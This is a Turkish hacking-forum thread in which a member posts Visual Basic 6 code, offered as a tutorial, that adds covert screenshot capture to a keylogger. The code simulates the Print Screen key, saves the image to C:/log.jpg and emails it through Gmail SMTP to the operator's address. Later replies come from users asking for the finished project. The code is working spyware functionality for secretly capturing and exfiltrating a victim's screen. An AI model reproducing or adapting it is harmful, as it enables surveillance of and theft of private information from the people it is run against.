Ekran Görüntüsü Alma ve Gönderme - Keylogger için

ihan3t

ihan3t

Kadim Üye
7 Şub 2012
5,018
24
Merhaba arkadaşlar bazı arkadaşlarımız ekran görüntüsü almayı keyloggerlarında yapamadıklarını söylüyorlardı. Bende onlar için ve bilmeyenler için anlatım yapacağım.

3 tane timer ekleyelim.

bir tane label ekleyip ismini say yapalım

bir tane picturebox ekleyelim

timer 2 nin invertalini ben 1440 yaptım sizde öyle bir şey yapabilirsiniz

Private Declare Sub keybd_event Lib "user32" (ByVal bVk As Byte, ByVal bScan As Byte, ByVal dwFlags As Long, ByVal dwExtraInfo As Long)
Dim a As Integer
Private Sub Form_Load()
Timer1.Interval = 100
Timer3.Interval = 100
End Sub

Private Sub Timer1_Timer()
On Error Resume Next

say.Caption = say.Caption + 1

If say.Caption = 210 Then
say.Caption = 0

End If

End Sub

Private Sub Timer2_Timer()
On Error Resume Next

If say.Caption = 205 Then

Dim iMsg, iConf, Flds

Set iMsg = CreateObject("CDO.Message")
Set iConf = CreateObject("CDO.Configuration")
Set Flds = iConf.Fields

schema = "http://schemas.microsoft.com/cdo/configuration/"
Flds.Item(schema & "sendusing") = 2
Flds.Item(schema & "smtpserver") = "smtp.gmail.com"
Flds.Item(schema & "smtpserverport") = 465
Flds.Item(schema & "smtpauthenticate") = 1
Flds.Item(schema & "sendusername") = "[email protected]"
Flds.Item(schema & "sendpassword") = "şifreniz"
Flds.Item(schema & "smtpusessl") = 1
Flds.Update

With iMsg
.To = "[email protected]"
.From = "Ekran"
.Subject = "Resim Geldi"
.HTMLbOdy = "Resim Görüntüsü"
.Organization = "Mail Organtion"
.ReplyTo = "-"
.AddAttachment "C:/log.jpg"
Set .Configuration = iConf
SendEmailGmail = .Send
End With
End If
End Sub


Private Sub Timer3_Timer()
On Error Resume Next

If say.Caption = 200 Then

Call keybd_event(vbKeySnapshot, 0, 0, 0)

If Clipboard.GetFormat(vbCFBitmap) Then 'bmp ise

Picture1.Picture = Clipboard.GetData 'panodan resimi al picture1de göster


Call SavePicture(Picture1.Picture, ("C:/log.jpg"))

Clipboard.Clear
End If
End If
End Sub


kodların acıklaması ;

1. timer : labeli saydırır ve 210 saniye sonra sıfırlar

2. timer : 205 saniye olduğunda resmi mailinize yollar

3. timer : pictureboxa ekran görüntüsünü alır ve C:/ ye kaydeder bunu siz değiştirebilirsiniz.

ekran görüntüsünü çekme ve yollama sürelerinide değiştirebilirsiniz.

Artık hepiniz yapabilirsiniz..

İşinize yaradıysa bir teşekkürü çok görmeyin :)
 
Son düzenleme:
ihan3t

ihan3t

Kadim Üye
7 Şub 2012
5,018
24
Teşekkürler arkadaşlar işinize yaraması sevindirdi beni :)
 
A

alper0324

Yeni üye
5 Ocak 2012
15
0
abi allah için proje olarak atarmısın ben yapamadım daha doğrusu dediginiz gibi yaptım ama formu açınca sayı sayıyor bekliyorum gmailime gelmiyor kodlardan gmailimin id şfiresinide yazdım ama olmuyo .S
 
M

maresalolmak

Üye
9 Eyl 2012
68
0
yapamadımya hem mail kodları var hemde c:/log.png yazıyo şimdi mailemi yolluyacak yoksa c:/'yemi kaydedecek lütfen biri proje olarak paylaşsın şunu :S paylaşmıyosa bir yardımcı olsun
 
Cevap yazmak için giriş yap yada kayıt ol.
Üst

Turkhackteam.org internet sitesi 5651 sayılı kanun’un 2. maddesinin 1. fıkrasının m) bendi ile aynı kanunun 5. maddesi kapsamında "Yer Sağlayıcı" konumundadır. İçerikler ön onay olmaksızın tamamen kullanıcılar tarafından oluşturulmaktadır. Turkhackteam.org; Yer sağlayıcı olarak, kullanıcılar tarafından oluşturulan içeriği ya da hukuka aykırı paylaşımı kontrol etmekle ya da araştırmakla yükümlü değildir. Türkhackteam saldırı timleri Türk sitelerine hiçbir zararlı faaliyette bulunmaz. Türkhackteam üyelerinin yaptığı bireysel hack faaliyetlerinden Türkhackteam sorumlu değildir. Sitelerinize Türkhackteam ismi kullanılarak hack faaliyetinde bulunulursa, site-sunucu erişim loglarından bu faaliyeti gerçekleştiren ip adresini tespit edip diğer kanıtlarla birlikte savcılığa suç duyurusunda bulununuz.